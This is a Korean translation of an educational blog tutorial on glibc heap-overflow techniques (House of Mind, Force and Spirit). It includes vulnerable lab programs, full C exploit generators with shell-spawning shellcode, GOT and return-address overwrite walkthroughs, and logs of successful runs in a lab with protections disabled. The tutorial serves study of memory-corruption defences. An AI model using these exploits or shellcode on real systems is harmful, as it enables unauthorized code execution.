티스토리 뷰
원본 URL : https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/
-----------------------------------------------------------------------------------------------------------------
Heap Overflow using Malloc Maleficarum
전제 조건 :
- Understanding glibc malloc
- House of Prime
- House of Mind
- House of Force
- House of Lore
- House of Spirit
- 공격자에 의해 제어되는 메모리 영역에서 HEAP_MAX_SIZE 배수로 정렬하였을 때, malloc 시리즈의 호출은 청크의 주소까지 요구된다. 이는 fake heap_info 구조체에서 발견되는 메모리 영역이다. Fake heap_info의 arena 포인터 ar_ptr은 fake arena를 말한다. 그래서 양쪽의 fake arena와 fake heap_info의 메모리 집합은 공격자에 의해 제어된다.
- 공격자에 의해 제어되는 청크의 size 필드(및 이 청크의 arena 포인터 - 전제 조건 1)는 해제해야 한다.
- 위의 해제된 청크의 다음 청크는 top 청크가 되어서는 안 된다.
취약 프로그램 : 이 프로그램은 위의 전제 조건들을 만족하고 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | /* vuln.c House of Mind vulnerable program */ #include <stdio.h> #include <stdlib.h> int main (void) { char *ptr = malloc(1024); /* First allocated chunk */ char *ptr2; /* Second chunk/Last but one chunk */ char *ptr3; /* Last chunk */ int heap = (int)ptr & 0xFFF00000; _Bool found = 0; int i = 2; for (i = 2; i < 1024; i++) { /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */ /* 0x08100000 is the place where fake heap_info structure is found. */ if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == (heap + 0x100000))) //[1] { printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2); found = 1; break; } } ptr3 = malloc(1024); //[2] /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */ /* User Input. */ fread (ptr, 1024 * 1024, 1, stdin); //[3] free(ptr2); //[4] /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */ free(ptr3); //[5] /* Shell code execution. */ return(0); /* Bye */ } | cs |
위의 취약 프로그램의 Heap 메모리 :
취약 프로그램 의 Line[3]은 heap overflow를 발생시켜, 사용자의 입력을 총 1MB 크기인 청크1의 메모리 포인터에 저장한다. 그래서 공격자는 heap overflow exploit 성공하기 위해, 다음 목록과 같은 순서로 사용자 입력을 한다 :
- Fake arena
- Junk
- Fake heap_info
- Shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | /* exp.c Program to generate attacker data. Command: #./exp > file */ #include <stdio.h> #define BIN1 0xb7fd8430 char scode[] = /* Shellcode to execute linux command "id". Size - 72 bytes. */ "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" "\x5e\x9e\x39\xcb\xbf\x04\xea\x42"; char ret_str[4] = "\x00\x00\x00\x00"; void convert_endianess(int arg) { int i=0; ret_str[3] = (arg & 0xFF000000) >> 24; ret_str[2] = (arg & 0x00FF0000) >> 16; ret_str[1] = (arg & 0x0000FF00) >> 8; ret_str[0] = (arg & 0x000000FF) >> 0; } int main() { int i=0,j=0; fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */ fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */ fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */ fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */ /* Fake Arena. */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */ fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */ for(i=0;i<10;i++) fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */ fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */ for(i=0;i<127;i++) { convert_endianess(BIN1+(i*8)); if(i == 119) { fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */ fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */ } else if(i==0) { fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */ fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */ } else { fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */ fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */ } } for(i=0;i<4;i++) { fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */ } fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */ fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */ fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */ for(i=0;i<234;i++) { fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */ } for(i=0;i<722;i++) { if(i==721) { /* Chunk 724 contains the shellcode. */ fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */ fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */ fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */ fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */ fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */ for(j=0;j<230;j++) fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ continue; } else { fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */ fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */ } if(i==720) { for(j=0;j<90;j++) fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */ for(j=0;j<165;j++) fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ } else { for(j=0;j<256;j++) fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */ } } return 0; } | cs |
공격자가 사용자 입력을 통해 데이터 파일을 생성하였을 경우, 취약 프로그램의 힙 메모리 :
취약 프로그램의 line[4]가 실행될 때, 'glibc malloc'은 다음과 같이 공격자의 사용자 입력을 통해 데이터 파일을 생성한다 :
- arena_for_chunk macro의 호출로부터 검색된 해제된 청크의 arena.
- arena_for_chunk : 만일 NON_MAIN_ARENA(N) bit가 세트되어 있지 않다면, main arena가 리턴된다. 만일 세트가 되었다면, 해당 heap_info 구조체는 HEAP_MAX_SIZE의 배수로 청크 주소를 정렬하여 접근된다. 그 후, 획득한 heap_info 구조체의 arena 포인터가 리턴되게 된다. 현재 가정된 상황에서는, NON_MAIN_ARENA bit는 공격자에 의해 세트되고, 이로 인하여 해제된 청크의 heap_info 구조체(0x08100000)가 획득된다. 또한, 공격자는 획득한 heap_info 구조체의 arena 포인터를 fake arena로 가리키는 방법으로 덮어쓸 것이다. ie) heap_info의 ar_ptr = fake arena의 베이스 주소(ie) 0x0804a018).
- arena 포인터와 청크의 주소를 인자로 하여 _int_free 호출. 현재 가정된 상황에서 arena 포인터는 fake arena를 가리킨다. 그래서 fake arena와 청크의 주소를 _int_free의 인자로 넘기게 된다.
- Fake Arena : 공격자에 의해 덮어쓸 필요가 있는 fake arena의 핵심적인 필드는 다음과 같다 :
- Mutex - unlock 상태로 설정
- Bins - Unsorted bin의 fd는 free의 GOT entry - 12의 주소를 가져야 한다.
- Top -
- Top address는 해제된 청크 주소와 같아서는 안 된다.
- Top address는 다음 청크 주소보다 커야한다.
- System Memory - 시스템 메모리는 다음 청크의 크기보다 커야한다.
- _int_free() :
- 만일 청크가 non mmap'd이라면, 제어 장치를 획득한다. 현재 가정된 상황의 청크는 non mmap'd이며, fake arena의 mutex 제어 장치가 성공적으로 획득된다.
※ non mmap'd : Size가 128KB 이상일 경우 mmap() 시스템 콜을 통해 할당되는데, 이것으로 할당된 청크가 아님 - Consolidate :
- 이전 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 이전 청크가 할당되기 때문에, 역방향으로 통합할 수 없다.
- 다음 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 다음 청크가 할당되기 때문에, 정방향으로 통합할 수 없다.
- unsorted bin에는 현재 해제된 청크가 배치된다. 현재 가정된 상황에서 fake arena의 unsorted bin의 fd는 'fwd' 변수에 복사된 free의 GOT entry - 12의 주소를 가지고 있다. 이 후, 해제되는 청크의 주소는 'fwd->bk'에 복사된다. bk는 malloc_chunk에서 오프셋 12에 위치하기 때문에, 12를 'fwd' 변수에 더한다. (ie) free-12+12). 그리고 이 때, free의 GOT entry는 현재 해제된 주소로 수정된다. 이후 공격자가 해제된 청크에 쉘코드를 위치시킬 경우, free에 적용된 공격자의 쉘코드는 언제든지 실행될 수 있다!!
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file ptr found at 0x804a008 good heap allignment found on malloc() 724 (0x81002a0) uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) | cs |
방어방법 : 현재, house of mind 기법은 'glibc malloc'이 견고해진 이후로 사용할 수 없다. 아래와 같이 house of mind를 사용한 heap overflow가 막히는 체크가 추가되었다.
- 변조된 청크 : Unsorted bin의 첫번째 청크의 bk 포인터는 unsorted bin을 가리킨다. 그렇지 않은 경우에는 'glibc malloc'은 변조된 청크 오류를 예외처리한다.
if(__glibc_unlikely (fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks"; goto errout; } | cs |
House of Force : 이 기법은, 공격자가 top chunk의 size를 악용하고, top 청크를 사용하여 'glibc malloc'이 힙 시스템 메모리 크기보다 훨씬 큰 메모리를 요청하도록 속인다. 그리고 새로운 malloc 요청이 만들어질 때, free의 GOT entry를 쉘코드의 주소로 덮어쓸 수 있다. 덕분에 이 후, 언제든지 free가 호출되면, 쉘코드가 실행된다!!
전제 조건들 : 아래의 목록과 같이 house of force를 성공적으로 적용하기 위해서는 3개의 malloc 호출이 요구된다.
- Malloc 1 : 공격자는 top 청크의 size를 제어할 수 있어야 한다. 물리적으로 top 청크 이전에 위치한 할당된 청크에서 heap overflow가 가능하기 때문이다.
- Malloc 2 : 공격자는 malloc 요청의 size를 제어할 수 있어야 한다.
- Malloc 3 : 사용자 입력은 할당된 청크에 복사되어야 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | /* House of force vulnerable program. */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *buf1, *buf2, *buf3; if (argc != 4) { printf("Usage Error\n"); return; } [1]buf1 = malloc(256); [2]strcpy(buf1, argv[1]); /* Prereq 1 */ [3]buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */ [4]buf3 = malloc(256); /* Prereq 3 */ [5]strcpy(buf3, argv[3]); /* Prereq 3 */ [6]free(buf3); free(buf2); free(buf1); return 0; } | cs |
위의 취약 프로그램의 힙 메모리 :
취약 프로그램의 Line[2]에서 heap overflow의 원인이다. 그래서 heap overflow exploit을 성공하기 위해, 공격자는 다음과 같은 command line 인자들을 사용한다 :
- argv[1] - Shellocde + Padding + 첫 번째 malloc 청크에 복사하기 위한 Top 청크의 size
- argv[2] - 두 번째 malloc 청크의 size 인자
- argv[3] - 세 번째 malloc 청크에 복사하기 위한 사용자 입력
Exploit 코드(C언어) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | /* Program to exploit executable 'vuln' using hof technique. */ #include <stdio.h> #include <unistd.h> #include <string.h> #define VULNERABLE "./vuln" #define FREE_ADDRESS 0x08049858-0x8 #define MALLOC_SIZE "0xFFFFF744" #define BUF3_USER_INP "\x08\xa0\x04\x08" /* Spawn a shell. Size - 25 bytes. */ char scode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int main( void ) { int i; char * p; char argv1[ 265 ]; char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL }; strcpy(argv1,scode); for(i=25;i<260;i++) argv1[i] = 'A'; strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */ argv[264] = ''; /* Terminating NULL character */ /* Execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); } | cs |
공격자의 command line 인자가 복사된 취약 프로그램의 힙 메모리 :
공격자의 인자는 다음과 같이 동작한다 :
Line[2] top 청크의 size를 덮어씀 :
- 공격자의 인자(argv[1] - Shellcode + Padding + 0xFFFFFFFF)는 힙 버퍼 'buf1'로 복사된다. 그러나 argv[1]이 256보다 큰 이유로, top 청크의 size가 "0xFFFFFFFF"으로 덮어쓰여진다.
Line[3] top 청크 코드를 사용한 매우 큰 블럭 할당 :
- 매우 큰 블럭 할당 요청의 목적은 할당 이후에 있는데, 새로운 top 청크는 free의 GOT entry 이전 8바이트에 배치되어야 한다. 그래서 다시 한번 malloc을 요청하는 것(line[4])이 free의 GOT entry를 덮어쓰는데 도움이 된다.
- 공격자의 인자(argv[2] - 0xFFFFF744)는 두 번째 malloc 호출(line[3])의 size 인자로 전달된다. size 인자는 아래의 공식에 사용되어 계산된다 :
- size = ((free-8)-top)
- 어디서
- free는 "실행가능한 'vuln' 내부의 free의 GOT entry"이다. ie) free = 0x08049858.
- top은 "현재 top 청크 (첫 번째 malloc line[1] 이후)"이다. ie) top = 0x0804a108.
- size = ((0x08049858 - 0x8) - 0x0804a108) = -8B8 = 0xFFFFF748
- 아래에서 볼 수 있듯이 size = 0xFFFFF748일 때, 새로운 top 청크가 free의 GOT entry 이전 8바이트에 배치되는 목적을 달성하게 된다 :
- (0xFFFFF748 + 0x0804a108) = 0x08049850 = (0x08049858 - 0x8)
- 그러나 공격자가 0xFFFFF748의 size 인자를 넘길 때, 'glibc malloc'은 사용할 수 있는 크기 0xFFFFF750으로 size를 변환하여 이런 이유로 새로운 top 청크 size는 0x08049850 대신 0x08049858에 위치하게 된다. 따라서, 0xFFFFF748 대신 공격자는 size 인자로써 0xFFFFF744를 넘겨야 하며, 이 경우 원하던 크기인 '0xFFFFF748'로 변환된다.
line [4]에서 :
- line[3] 이후로 top 청크 포인터는 0x08049850이며, 256바이트의 메모리 할당 요청은 'glibc malloc'으로 buf3에 복사된 0x08049858로 리턴하도록 만든다.
line [5]에서 :
- GOT overwrite의 결과로 buf3에 buf1의 주소가 복사되었다. 그래서 결과적으로 free를 호출(line[6])하면서 쉘코드를 실행하게 된다.
아래와 같이 취약 프로그램의 실행과 함께 공격자가 입력한 command line 인자를 실행하면 쉘코드가 실행되는 것을 볼 수 있다 :
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp $ ls cmd exp exp.c vuln vuln.c $ exit sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ | cs |
방어 방법 : 지금까지 이 기법에 대해 방어기법이 추가되지 않았다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!
House of Spirit: 이 기법은, 공격자가 힙 영역이 아닌 스택 영역에 존재하는 청크에 리턴하도록 'glibc malloc'을 속인다. 이를 통해 공격자는 스택에 저장된 'Return Address'를 덮어쓸 수 있다.
전제 조건 : 아래는 heap overflow 취약점을 가진 모든 프로그램이 이 기법을 사용하여 성공적으로 exploit을 하기 위한 전제 조건들이다.
- buffer overflow를 통해 청크의 주소를 저장하고 있는 변수를 덮어 써, 'glibc malloc'으로 리턴된다.
- 위의 청크는 free되어 있어야 한다. 공격자는 해제된 청크의 size를 제어할 수 있어야 하며, 다음 malloc 청크의 크기를 같은 size로 제어한다.
- Malloc a chunk
- 사용자 입력을 위의 malloc 청크에 복사해야 한다.
취약 프로그램 : 이 프로그램은 위의 전제 조건을 모두 만족하고 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | /* vuln.c House of Spirit vulnerable program */ #include <stdio.h> #include <stdlib.h> #include <string.h> void fvuln(char *str1, int age) { char *ptr1, name[44]; int local_age; char *ptr2; [1]local_age = age; /* Prereq 2 */ [2]ptr1 = (char *) malloc(256); printf("\nPTR1 = [ %p ]", ptr1); [3]strcpy(name, str1); /* Prereq 1 */ printf("\nPTR1 = [ %p ]\n", ptr1); [4]free(ptr1); /* Prereq 2 */ [5]ptr2 = (char *) malloc(40); /* Prereq 3 */ [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */ printf("\n%s\n", ptr2); } int main(int argc, char *argv[]) { int i=0; int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */ for(i=0;i<10;i++) [7]stud_class[i] = 10; if (argc == 3) fvuln(argv[1], 25); return 0; } | cs |
위의 취약 프로그램의 스택 레이아웃 :
취약 프로그램의 Line[3]은 buffer overflow가 발생하는 곳이다. 그래서 취약 프로그램을 성공적으로 exploit하기 위해서는, 공격자는 아래와 같은 command line 인자를 구성해야 한다 :
- argv[1] = Shellcode + Stack Address + Chunk size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | /* Program to exploit executable 'vuln' using hos technique. */ #include <stdio.h> #include <unistd.h> #include <string.h> #define VULNERABLE "./vuln" /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */ char scode[] = "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90"; int main( void ) { int i; char * p; char argv1[54]; char * argv[] = { VULNERABLE, argv1, NULL }; strcpy(argv1,scode); /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */ strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); argv[53] = ''; /* Execution of the vulnerable program */ execve( argv[0], argv, NULL ); return( -1 ); } | cs |
위의 취약 프로그램의 스택 라이아웃과 공격자의 인자 :
공격자의 인자로 return address를 덮어쓰는 과정 :
Line[3] : Buffer overflow
- 여기에서 공격자가 입력한 'argv[1]'은 char buffer 'name'에 복사된다. 공격자의 입력이 44보다 큰 관계로, 변수 ptr1과 local_age는 각각 스택 주소와 청크 크기로 덮어쓰여진다.
- 스택 주소 - 0xbffffdf0 => 공격자는 line[5]가 실행될 때, 이 주소로 리턴하도록 'glibc malloc'을 속인다.
- 청크 크기 - 0x30 => 이 청크의 크기는 line[4](아래에서 보이듯이) 실행될 때, 'glibc malloc'을 속이는데 사용된다.
Line[4] : 'glibc malloc의 fast bin에 스택의 일부분을 추가
- free()은 _int_free()를 적용한다. buffer overflow 이후, ptr1 = 0xbffffdf0 (0x0804aa08이 아님). 덮어써진 ptr1은 free()에 인자로 넘겨진다. 이것은 'gibc malloc'을 스택 영역에 위치한 메모리 일부를 해제하도록 속인다. 해제된 스택 일부의 크기는 ptr1 - 8 + 4에 배치되고, 공격자에 의해 0x30으로 덮어쓰여져 'glibc malloc'은 이 청크를 fast 청크로 처리한 후, index 4에 위치한 fast binlist의 앞부분 마지막에 해제된 청크를 삽입한다.
- 40의 malloc 요청은 checked_request2size에 의해 사용할 수 있는 크기인 48로 변환된다. 사용할 수 있는 크기 '48'은 fast 청크에 속하기 때문에, fast bin(index 4에 위치한)에 해당하여 회수된다. fast binlist의 첫번째 청크는 사용자에게 삭제되고 반환된다. 이 첫번째 청크는 아무것도 아니지만 line[4]가 실행되는 동안 스택의 일부분이 추가되었다.
Line[6] : Return Address 덮어쓰기
- 공격자의 인자 'argv[1]'은 0xbffffd40에서 시작하는 'glibc malloc'에 의해 반환된 스택의 일부분에 복사한다. argv[1]의 맨 앞 16바이트는
- \xeb\x0e => Jmp 14바이트
- \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 => Padding
- \xb8\xfd\xff\xbf - Return Address를 이 값에 의해 덮어쓰여진 스택에 저장한다. 이 후, fvuln이 실행될 때, EIP는 0xbffffdb8이 될 것이다. 0xbffffdb8의 위치에는 jmp 명령어가 저장되어 이를 따라 쉘코드가 실행될 것이다!!
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2 sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp PTR1 = [ 0x804a008 ] PTR1 = [ 0xbffffdf0 ] AAAAAAAAAA����1�Ph//shh/bin��P��S� $ ls cmd exp exp.c print vuln vuln.c $ exit sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ | cs |
방어 기법 : 현재까지, 이 비법에 대해 방어 기법이 추가되어 있지 않다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!
House of Prime : TBU
House of Lore: TBU
NOTE : 실험을 위해서, 모든 취약 프로그램은 다음과 같은 리눅스 보안 기법없이 컴파일되었다 :
- ASLR
- NX
- RELRO (ReLocation Read-Only)
- The Malloc Maleficarum
------------------------------------------------------------------------------------------------------------------------------------------
'System > Linux' 카테고리의 다른 글
qira 설치 및 사용법 (0) | 2016.07.31 |
---|---|
Understanding glibc malloc 번역 (0) | 2016.07.16 |
Position Independent Executables(PIE) 번역 (0) | 2016.06.17 |
Memory Leak으로 얻은 주소로 offset 알아내기 (0) | 2016.05.01 |
Heap chunk 정리 (0) | 2016.04.14 |